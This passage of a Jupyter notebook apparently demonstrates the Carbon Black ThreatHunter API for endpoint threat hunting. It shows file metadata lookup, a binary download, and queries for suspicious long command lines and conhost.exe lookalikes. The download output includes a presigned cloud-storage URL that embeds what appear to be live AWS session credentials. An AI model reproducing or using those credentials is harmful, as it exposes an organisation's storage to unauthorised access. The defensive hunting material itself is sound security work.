 'last_seen_device_timestamp': '2019-06-03T17:29:16.419983Z',
 'num_devices': 6,
 'sha256': 'd2434e607451a4d29d28f43a529246dc81d25a2fae9c271e28c55452c09a28a5'}
{'file_path_count': 1,
 'file_paths': [{'count': 6,
                 'file_path': 'c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe',
                 'first_seen_timestamp': '2019-04-25T07:16:29.942347Z'}],
 'sha256': 'd2434e607451a4d29d28f43a529246dc81d25a2fae9c271e28c55452c09a28a5',
 'total_file_path_count': 6}
{'sha256': 'd2434e607451a4d29d28f43a529246dc81d25a2fae9c271e28c55452c09a28a5',
 'signatures': [{'count': 2,
                 'is_catalog_signature': True,
                 'issuer_name': 'Microsoft Windows Production PCA 2011',
                 'publisher_name': 'Microsoft Windows',
        [...]<jupyter_text>Finally, lets download the file:<jupyter_code>ret = th.post_object(f"/ubs/v1/orgs/{orgkey}/file/_download", {"sha256": ["d2434e607451a4d29d28f43a529246dc81d25a2fae9c271e28c55452c09a28a5"]})
pprint.pprint(ret.json())<jupyter_output>{'error': [],
 'found': [{'sha256': 'd2434e607451a4d29d28f43a529246dc81d25a2fae9c271e28c55452c09a28a5',
            'url': 'https://cdc-file-storage-production-us-east-1.s3.amazonaws.com/d2/43/4e/60/74/51/a4/d2/9d/28/f4/3a/52/92/46/dc/81/d2/5a/2f/ae/9c/27/1e/28/c5/54/52/c0/9a/28/a5/d2434e607451a4d29d28f43a529246dc81d25a2fae9c271e28c55452c09a28a5.zip?AWSAccessKeyId=ASIAVT6ZCSICAY3IMAV2&Signature=O2xgIE0XgyWyhe3HVrbfE%2BUGrvk%3D&x-amz-security-token=AgoJb3JpZ2luX2VjEMX%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJGMEQCIDkiT5ROUE4NGEPgrTpFBIf%2Bss01JaDLCuVR5YTvfbP9AiB%2Baq2OsB%2FpAClpmYPkgYMz%2Ffz3V4B%2BclMtXf4XHd748SrjAwje%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F8BEAEaDDM4NjQ2NTQzNjE2NCIM8aon5%2FyznuoF8CXeKrcDuatb%2Ff4CdZdAHQuH3yH86pJjQyh9xPhOyhMgkt%2FogUxIjCz3kza0OEVzUItk5E5DrzK9Zz2AbXbSn9gpevHVIal9P8nNvR%2FARbcgoo6f2RV0cW2RHSDB5jfMOG4QSL21iI6011bukO1gvYT7DfvvleKT0YdOzE%2B38r3Xu90k4bA3Etxe%2BGAqekAdN0WutUZDnHuCbNmn86cnafkZ5ARGPNcKfK8cwJAYZRWS4hXTQ42bsmkG%2FZqXTI304bCuPoIxdb3i3nLGFm9HLbRYZmCiv78m[...]<jupyter_text>This returns an CDC url where you go and download the binary. This file will expire in 1 hour (unless otherwise specified in the request)  Some More ExamplesLet's look at few additional search examples wich show power of ThreatHunter search APIs Searching EventsFor a given process, find specific events based on condition<jupyter_code>events = th.select(Event).where(process_guid='7YZFGDDN-008f8e78-000012a0-00000000-1d513d7ef9c51a8').and_(event_type='filemod').and_(filemod_name='\*content.outlook\*')
for event in events:
    print(event.filemod_name)<jupyter_output>c:\users\enduser\appdata\local\microsoft\windows\inetcache\content.outlook\4f9r8p01\~$credit_cards_2018 (5).xlsm
c:\users\enduser\appdata\local\microsoft\windows\inetcache\content.outlook\4f9r8p01\~$credit_cards_2018 (5).xlsm<jupyter_text>Searching using RegexFind processes that have long command lines and are not GoogleUpdate.exe<jupyter_code>query = th.select(Process).where("process_cmdline:/.{150}.*/ -process_name:GoogleUpdate.exe")
print(query[0])
print(query[0].process_cmdline)<jupyter_output>Process object, bound to https://defense-prod05.conferdeploy.net.
-------------------------------------------------------------------------------

       backend_timestamp: 2019-05-29T10:46:59.015Z
         childproc_count: 0
         crossproc_count: 1
      device_external_ip: 172.16.58.3
         device_group_id: 0
               device_id: 9510900
      device_internal_ip: 
             device_name: desktop-1a1jgo5
               device_os: WINDOWS
        device_policy_id: 0
        device_timestamp: 2019-05-29T18:46:13.084Z
           filemod_count: 0
             index_class: default
           modload_count: 0
           netconn_count: 0
                  org_id: 7YZFGDDN
             parent_guid: 7YZFGDDN-00911ff4-00001bbc-00000000-1d5164e034b...
             parent_hash: ['2d72cf80740f6c19a837346b1c8f181d', 'b2bb5d463...
             parent_name: c:\program files (x86)\google\chrome\applicatio...
              parent_pid: 7100
            partition_id: 0
         process_cm[...]<jupyter_text>Fuzzy Searching Find all processes that are named similar to conhost.exe but are not conhost.exe<jupyter_code>query = th.select(Process).where("process_name:conhost.exe~1 -process_name:conhost.exe")
print(len(list(query)))<jupyter_output>0
{'fraction_non_alphanumeric': 0.1193813436442726, 'fraction_numerical': 0.09122128666276615, 'mean_word_length': 3.6633451957295375, 'pattern_counts': {'":': 30, '<': 115, '<?xml version=': 0, '>': 113, 'https://': 25, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 6, 'substrings_counts': 24, 'word_list_counts': {'cursed_substrings.json': 35, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'chain_length': '25', 'dir': 'jupyter-structured-clean-dedup', 'id': '641182', 'license': 'MIT', 'n_tokens_mistral': 15909, 'n_tokens_neox': 13570, 'n_words': 2938, 'path': 'connect-2019/exercises/CBTH/notebooks/search_demo.ipynb', 'repo_name': 'cbcommunity/cb-connect', 'size': '40130'}